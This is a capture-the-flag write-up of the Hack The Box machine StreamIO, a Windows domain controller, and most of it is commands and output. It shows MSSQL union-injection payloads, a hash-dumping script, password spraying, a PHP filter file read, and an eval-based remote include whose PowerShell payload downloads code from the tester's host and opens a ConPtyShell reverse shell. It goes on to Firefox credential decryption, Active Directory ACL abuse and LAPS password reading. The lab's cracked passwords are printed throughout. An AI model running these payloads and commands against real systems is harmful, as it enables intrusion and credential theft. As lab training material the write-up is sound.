StreamIO
Nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 13:56 IST
Nmap scan report for 10.10.11.158
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-10 15:24:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after: 2022-03-24T07:03:28
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2024-03-10T15:27:03+00:00; +6h57m38s from scanner time.
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h57m37s, deviation: 0s, median: 6h57m37s
| smb2-time:
| date: 2024-03-10T15:26:23
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 194.05 seconds
Added stream.io and watch.stream.io in /etc/hosts
HTTP
Running A gobuster scan I found
301 GET 2l 10w 151c https://streamio.htb/images => https://streamio.htb/images/
200 GET 206l 430w 6434c https://streamio.htb/contact.php
200 GET 395l 915w 13497c https://streamio.htb/index.php
200 GET 274l 1677w 150222c https://streamio.htb/search.php
200 GET 231l 571w 7825c https://streamio.htb/about.php
200 GET 367l 1995w 166220c https://streamio.htb/images/contact-img.png
200 GET 101l 173w 1663c https://streamio.htb/css/responsive.css
200 GET 863l 1698w 16966c https://streamio.htb/css/style.css
200 GET 5l 374w 21257c https://streamio.htb/js/popper.min.js
200 GET 2l 1276w 88145c https://streamio.htb/js/jquery-3.4.1.min.js
200 GET 51l 213w 19329c https://streamio.htb/images/client.jpg
200 GET 192l 1006w 82931c https://streamio.htb/images/icon.png
200 GET 111l 269w 4145c https://streamio.htb/login.php
200 GET 913l 5479w 420833c https://streamio.htb/images/about-img.png
200 GET 395l 915w 13497c https://streamio.htb/
200 GET 274l 1677w 150222c https://streamio.htb/images/barry.png
200 GET 2059l 12754w 1028337c https://streamio.htb/images/samantha.png
200 GET 1753l 10007w 871140c https://streamio.htb/images/oliver.png
200 GET 121l 291w 4500c https://streamio.htb/register.php
200 GET 191l 253w 3120c https://streamio.htb/css/login.css
403 GET 29l 92w 1233c https://streamio.htb/js/
403 GET 29l 92w 1233c https://streamio.htb/css/
301 GET 2l 10w 150c https://streamio.htb/admin => https://streamio.htb/admin/
403 GET 1l 1w 18c https://streamio.htb/admin/index.php
301 GET 2l 10w 157c https://streamio.htb/admin/images => https://streamio.htb/admin/images/
301 GET 2l 10w 148c https://streamio.htb/css => https://streamio.htb/css/
301 GET 2l 10w 154c https://streamio.htb/admin/css => https://streamio.htb/admin/css/
301 GET 2l 10w 147c https://streamio.htb/js => https://streamio.htb/js/
302 GET 0l 0w 0c https://streamio.htb/logout.php => https://streamio.htb/
301 GET 2l 10w 153c https://streamio.htb/admin/js => https://streamio.htb/admin/js/
301 GET 2l 10w 150c https://streamio.htb/fonts => https://streamio.htb/fonts/
[>-------------------] - 3m 22291/1246719 2h found:30 errors:0
200 GET 2l 6w 58c https://streamio.htb/admin/master.php
[>-------------------] - 3m 25711/1454350 3h found:31 errors:0
301 GET 2l 10w 156c https://streamio.htb/admin/fonts => https://streamio.htb/admin/fonts/
[>-------------------] - 3m 28205/1454352 3h found:32 errors:0
🚨 Caught ctrl+c 🚨 saving scan state to ferox-https_streamio_htb_-1710101590.state ...
[>-------------------] - 3m 28232/1454352 3h found:32 errors:0
[>-------------------] - 3m 3076/207629 16/s https://streamio.htb/
[>-------------------] - 25s 300/207629 12/s https://streamio.htb/images/
[>-------------------] - 25s 299/207629 12/s https://streamio.htb/js/
[>-------------------] - 26s 299/207629 12/s https://streamio.htb/css/
[>-------------------] - 3m 2754/207629 15/s https://streamio.htb/admin/
[>-------------------] - 3m 2650/207629 15/s https://streamio.htb/admin/images/
[>-------------------] - 3m 2150/207629 14/s https://streamio.htb/admin/css/
[>-------------------] - 2m 1750/207629 13/s https://streamio.htb/admin/js/
[>-------------------] - 31s 405/207629 13/s https://streamio.htb/fonts/
[>-------------------] - 7s 100/207629 14/s https://streamio.htb/admin/fonts/
https://watch.streamio.htb/search.php
Manual MSSQL Injection
https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-all-columns-transact-sql?view=sql-server-ver16
Tried some random sql injection payloads and it worked.
I ll try using union injection to leak information out of database using manual sql injection, sqlmap did not work properly.
hello' union select 1,2,3,4,5,6;-- -
We can injection stuff at 2,3
version
hello' union select 1,@@version,3,4,5,6;-- -
XP_cmdshell attack did not work I was not able to execute commands.
Username->
hello' union select 1,user_name(),3,4,5,6;-- -
db_name ->
hello' union select 1,db_name(),3,4,5,6;-- -
table Name & id from streamio ->
hello' union select 1,CONCAT(name, ':',id),3,4,5,6 from streamio..sysobjects where xtype='u'-- -
Getting in one line
hello' union select 1,(select string_agg(concat(name, ':',id),'|') from streamio..sysobjects where xtype='u'),3,4,5,6 -- -
Now we have got tables now we need to dump users table, movies may not be useful to us.
Columns in user table ->
hello' union select 1,(select string_agg(name,'|') from streamio..syscolumns where id=901578250),3,4,5,6 -- -
dumping table.
my sql command was crappy or something else I just wrote a py script to get all the hashes. even the py script look crappy
import requests
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning for InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
url = "https://watch.streamio.htb/search.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "https://watch.streamio.htb",
"Referer": "https://watch.streamio.htb/search.php",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers"
}
data = "q=hello%27+union+select+1,(select+string_agg(concat(username,+'%3a',password),'')+from+users),3,4,5,6+--+-"
response = requests.post(url, headers=headers, data=data, verify=False)
data = response.text
pattern = re.compile('<h5 class="p-2">(.*?)</h5>')
matches = pattern.finditer(data)
lists = []
for match in matches:
lists.append(match.group(1).split())
#total_elements = sum(len(sublist) for sublist in lists)
#print("Total number of elements:", total_elements)
i =0
while i != 60:
print(lists[0][i]+""+lists[0][i+1])
i+=2
➜ StreamIO python3 script.py
James:c660060492d9edcaa8332d89c99c9239
Theodore:925e5408ecb67aea449373d668b7359e
Samantha:083ffae904143c4796e464dac33c1f7d
Lauren:08344b85b329d7efd611b7a7743e8a09
William:d62be0dc82071bccc1322d64ec5b6c51
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5
Robert:f03b910e2bd0313a23fdd7575f34a694
Thane:3577c47eb1e12c8ba021611e1280753c
Carmon:35394484d89fcfdb3c5e447fe749d213
Barry:54c88b2dbd7b1a84012fabc1a4c73415
Oliver:fd78db29173a5cf701bd69027cb9bf6b
Michelle:b83439b16f844bd6ffe35c02fe21b3c0
Gloria:0cfaaaafb559f081df2befbe66686de0
Victoria:b22abb47a02b52d5dfa27fb0b534f693
Alexendra:1c2b3d8270321140e5153f6637d3ee53
Baxter:22ee218331afd081b0dcd8115284bae3
Clara:ef8f3d30a856cf166fb8215aca93e9ff
Barbra:3961548825e3e21df5646cafe11c6c76
Lenord:ee0b8a0937abd60c2882eacb2f8dc49f
Austin:0049ac57646627b8d7aeaccf8b6a936f
Garfield:8097cedd612cc37c29db152b6e9edbd3
Juliette:6dcd87740abb64edfa36d170f0d5450d
Victor:bf55e15b119860a6e6b5a164377da719
Lucifer:7df45a9e3de3863807c026ba48e55fb3
Bruno:2a4e2cf22dd8fcb45adcb91be1e22ae8
Diablo:ec33265e5fc8c2f1b0c137bb7b3632b5
Robin:dc332fb5576e9631c9dae83f194f8e70
Stan:384463526d288edcc95fc3701e523bc7
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332
admin:665a50ac9eaa781e4f7f04199db97a11
➜ StreamIO hashcat hash --user --show -m 0
Lauren:08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
Thane:3577c47eb1e12c8ba021611e1280753c:highschoolmusical
Barry:54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
Michelle:b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
Victoria:b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
Clara:ef8f3d30a856cf166fb8215aca93e9ff:%$clara
Lenord:ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
Juliette:6dcd87740abb64edfa36d170f0d5450d:$3xybitch
Bruno:2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd
hashcat hash --user --show -m 0 | awk -F: '{print $1":"$3}' > creds.txt
`
I ll bruteforce passwords ->
➜ StreamIO hydra -C creds.txt streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed" -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-11 01:24:06
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries, ~1 try per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:F=Login failed
[443][http-post-form] host: streamio.htb login: yoshihide password: 66boysandgirls..
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-11 01:24:09
yoshihide:66boysandgirls..
Got Logged in.
Before I was not able to get to /admin in streamio.htb but now I can
Its nothing much there except on parameter changes.
https://streamio.htb/admin/?user=
https://streamio.htb/admin/?staff=
https://streamio.htb/admin/?movie=
https://streamio.htb/admin/?message=
I ll fuzz this parameter may there is something more
A new parameter found debug
➜ StreamIO ffuf -request recon.req -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt --fs 1678
--SNIP--
:: Method : GET
:: URL : https://streamio.htb/admin/?FUZZ=
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Accept-Encoding: gzip, deflate
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1678
________________________________________________
debug [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 164ms]
movie [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 211ms]
staff [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 193ms]
user [Status: 200, Size: 2073, Words: 146, Lines: 63, Duration: 206ms]
:: Progress: [6453/6453] :: Job [1/1] :: 128 req/sec :: Duration: [0:00:35] :: Errors: 0 ::
I get an error when I tried to include a file
I ll try using php wrapper and see if i can bypass this
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
A pass of db_admin
db_admin:B1@hx31234567890
Also in feroxbuster we got master.php I ll take a look at that.
Master.php ->
�yr<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
Its doing an eval on a file_get_contents.
file_get_contents support remote files to, and because its doing eval which means we can include our file which can be executed on the server.
We don't need tags because eval does not need it.
cat hello.php
system('whoami');
start a py server on port 80.
Get shell on
I ll use [conptyshell][https://github.com/antonioCoco/ConPtyShell] to get shell on the box.
Copy the ps1 file to our box.
cat hello.php
system('powershell IEX(IWR http://10.10.14.12/con.php -UseBasicParsing); Invoke-ConPtyShell 10.10.14.12 9001');
start the py server and listener on port 9001
stty raw -echo; (stty size; cat) | nc -lvnp 9001
We got credentials of db_admin user in index.php
Early in the reconnaissance I found that there is another db streamio_backup which i did not had access to previously
I ll dump the db,
PS C:\inetpub\streamio.htb\admin> sqlcmd -U db_admin -P 'B1@hx31234567890' -Q 'USE STREAMIO_BACKUP; select username,password from users;'
Changed database context to 'streamio_backup'.
username password
-------------------------------------------------- --------------------------------------------------
nikk37 389d14cb8e4e9b94b137deb1caf0612a
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
James c660060492d9edcaa8332d89c99c9239
Theodore 925e5408ecb67aea449373d668b7359e
Samantha 083ffae904143c4796e464dac33c1f7d
Lauren 08344b85b329d7efd611b7a7743e8a09
William d62be0dc82071bccc1322d64ec5b6c51
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
On our box we have a user called nikk37
PS C:\inetpub\streamio.htb\admin> net user
User accounts for \\DC
-------------------------------------------------------------------------------
Administrator Guest JDgodd
krbtgt Martin nikk37
yoshihide
The command completed successfully.
I ll see If I can crack the hash with rockyou
nikk37:get_dem_girls2@yahoo.com
For rest of the hashes.
nikk37:389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
Lauren:08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
I ll add these creds to my creds.txt
Lauren:##123a8j8w5123##
Sabrina:!!sabrina$
Thane:highschoolmusical
Barry:$hadoW
Michelle:!?Love?!123
Victoria:!5psycho8!
Clara:%$clara
Lenord:physics69i
Juliette:$3xybitch
Bruno:$monique$1991$
yoshihide:66boysandgirls..
admin:paddpadd
nikk37:get_dem_girls2@yahoo.com
yoshihide:66boysandgirls..
Lauren:##123a8j8w5123##
Sabrina:!!sabrina$
I could use cme to bruteforce for all the combinations I have.
➜ StreamIO cat creds.txt | awk -F: {'print $1'} > users.txt
➜ StreamIO cat creds.txt | awk -F: {'print $2'} > pass.txt
➜ StreamIO crackmapexec smb 10.10.11.158 -u users.txt -p pass.txt --no-bruteforce
SMB 10.10.11.158 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [-] streamIO.htb\Lauren:##123a8j8w5123## STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Sabrina:!!sabrina$ STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Thane:highschoolmusical STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Barry:$hadoW STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Michelle:!?Love?!123 STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Victoria:!5psycho8! STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Clara:%$clara STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Lenord:physics69i STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Juliette:$3xybitch STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\Bruno:$monique$1991$ STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\yoshihide:66boysandgirls.. STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [-] streamIO.htb\admin:paddpadd STATUS_LOGON_FAILURE
SMB 10.10.11.158 445 DC [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
Get shell using evil-winrm as nik337
Running winpeas as nikk37 user
Found a firefox db file
I ll use this tool -> https://github.com/lclevy/firepwd
*Evil-WinRM* PS C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles> dir
Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/22/2022 2:40 AM 5rwivk2l.default
d----- 2/22/2022 2:42 AM br53rxeg.default-release
Convert these directories in zip
Compress-Archive -Path br53rxeg.default-release -DestinationPath 1.zip
Download it to our box using evil winrm download feature.
firepwd need firefox db file and a logins.json,
I ll copy them both to ffirepwd directory
➜ firepwd git:(master) ✗ cp /home/user/Desktop/ctf/htb/StreamIO/www/br53rxeg.default-release/logins.json .
➜ firepwd git:(master) ✗ cp /home/user/Desktop/ctf/htb/StreamIO/www/br53rxeg.default-release/key4.db .
python3 firepwd.py
--SNIP--
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
JDg0dd1s@d0p3cr3@t0r looks like its jdgodd creds
I was not able to winrm in with jdgodd user
➜ StreamIO crackmapexec winrm 10.10.11.158 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r'
SMB 10.10.11.158 5985 DC [*] Windows 10.0 Build 17763 (name:DC) (domain:streamIO.htb)
HTTP 10.10.11.158 5985 DC [*] http://10.10.11.158:5985/wsman
WINRM 10.10.11.158 5985 DC [-] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
running bloodhound.py
git clone https://github.com/dirkjanm/BloodHound.py.git
➜ BloodHound.py git:(master) python3 bloodhound.py -d streamio.htb -u JDGodd -p 'JDg0dd1s@d0p3cr3@t0r' -gc dc.streamio.htb -ns 10.10.11.158 -c all --zip
INFO: Found AD domain: streamio.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.streamio.htb:88)]
[Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Found 54 groups
INFO: Found 4 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 34S
INFO: Compressing output into 20240311035828_bloodhound.zip
Upload the files to bloodhound
Marked nikk37 and jdgodd as owned.
JDgodd has writeowner over core staff and core staff can ReadLAPSPassword over DC
I can't login through winrm but we have his credentials so we can exploit writeowner with nikk37 account
I have to import powerview.ps1 first
Import-Module .\powerview.ps1
$pass = ConvertTo-SecureString "JDg0dd1s@d0p3cr3@t0r" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"
Jdgodd is now a member of Core Staff
User name JDgodd
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/22/2022 2:56:42 AM
Password expires Never
Password changeable 2/23/2022 2:56:42 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/10/2024 10:55:54 PM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *CORE STAFF
The command completed successfully.
I can now read the LAPS password from the ms-MCS-AdmPwd property on the computer object:
I was not able to read it idk why
*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred
DistinguishedName : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
DNSHostName : DC.streamIO.htb
Enabled : True
Name : DC
ObjectClass : computer
ObjectGUID : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee
SamAccountName : DC$
SID : S-1-5-21-1470860369-1569627196-4264678630-1000
UserPrincipalName :
But we can use ldap to view the credentials.
➜ www ldapsearch -H ldap://10.10.11.158 -x -b 'DC=streamIO,DC=htb' -D JDgodd@streamio.htb -w 'JDg0dd1s@d0p3cr3@t0r' "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# extended LDIF
#
# LDAPv3
# base <DC=streamIO,DC=htb> with scope subtree
# filter: (ms-MCS-AdmPwd=*)
# requesting: ms-MCS-AdmPwd
#
# DC, Domain Controllers, streamIO.htb
dn: CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
ms-Mcs-AdmPwd: 03C#}87%Dkc3Gu
# search reference
ref: ldap://ForestDnsZones.streamIO.htb/DC=ForestDnsZones,DC=streamIO,DC=htb
# search reference
ref: ldap://DomainDnsZones.streamIO.htb/DC=DomainDnsZones,DC=streamIO,DC=htb
# search reference
ref: ldap://streamIO.htb/CN=Configuration,DC=streamIO,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 5
# numEntries: 1
# numReferences: 3
administrator:03C#}87%Dkc3Gu
Root.txt is in C:/users/martin
*Evil-WinRM* PS C:\Users\Administrator> Get-ChildItem -Path "C:\" -Recurse -Filter "root.txt" -File
Directory: C:\Users\Martin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/10/2024 11:09 PM 34 root.txt